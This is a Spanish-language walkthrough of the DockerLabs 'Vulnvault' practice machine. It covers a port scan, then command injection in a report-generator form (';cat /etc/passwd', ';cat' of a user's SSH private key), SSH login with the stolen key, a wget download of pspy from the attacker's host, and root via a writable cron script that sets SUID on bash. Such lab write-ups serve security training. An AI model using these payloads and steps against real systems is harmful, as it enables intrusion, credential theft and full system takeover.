> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/vulnvault.md).
# Vulnvault
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vulnvault** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos `7z` para extraer el contenido del archivo comprimido:
```bash
7z x vulnvault.zip
```
#### **1.3. Ejecución**
Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh vulnvault.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Descubrimos:**
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58 con una web para generar reportes.
#### **2.4. Interfaz web**
Accedemos a: `http://172.17.0.2/`.
La interfaz genera archivos de reporte a partir de un nombre y una fecha. Al probar con entradas modificadas, observamos advertencias de comandos maliciosos, lo que sugiere una posible inyección de comandos.
### **3. Explotación**
Probamos la vulnerabilidad inyectando un comando en el campo del nombre:
```bash
;cat /etc/passwd
```
Logramos listar los usuarios del sistema y descubrimos al usuario `samara`.
Intentamos extraer la clave privada del usuario `samara`:
```bash
;cat /home/samara/.ssh/id_rsa
```
Obtenemos la clave privada.
Descargamos la clave en nuestro equipo local y ajustamos los permisos:
```bash
chmod 600 id_rsa
```
Nos conectamos al sistema por SSH como `samara` utilizando la clave privada:
```bash
ssh -i id_rsa samara@172.17.0.2
```
**Resultado:** Accedemos exitosamente al sistema con los privilegios del usuario `samara`.
### **4. Escalada de privilegios**
#### **4.1. Análisis de procesos**
Descargamos la herramienta [pspy](https://github.com/DominicBreuker/pspy) para monitorear procesos en segundo plano.
Creamos un servidor HTTP en nuestra máquina local para compartir el binario a través de la red:
```bash
python3 -m http.server 1234
```
Desde la conexión SSH vamos a ejecutar el siguiente comando para descargarnos el binario:
```bash
wget http://172.17.0.1:1234/pspy64
```
Le asignamos al binario los permisos necesarios:
```bash
chmod 700 pspy64
```
Ejecutamos el binario con el siguiente comando:
```bash
./pspy64
```
Identificamos que el script `/usr/local/bin/echo.sh` se ejecuta periódicamente como `root`.
Verificamos los permisos y el contenido del script:
```bash
ls -l /usr/local/bin/echo.sh
```
```bash
cat /usr/local/bin/echo.sh
```
El script es modificable por `samara`.
Insertamos el siguiente comando para asignar permisos SUID a `/bin/bash`:
```bash
echo "chmod u+s /bin/bash" > /usr/local/bin/echo.sh
```
Esperamos a que el script se ejecute y luego lanzamos una shell con privilegios elevados:
```bash
bash -p
```
**Resultado:** Obtenemos una shell con privilegios de `root`, confirmando el control total del sistema.
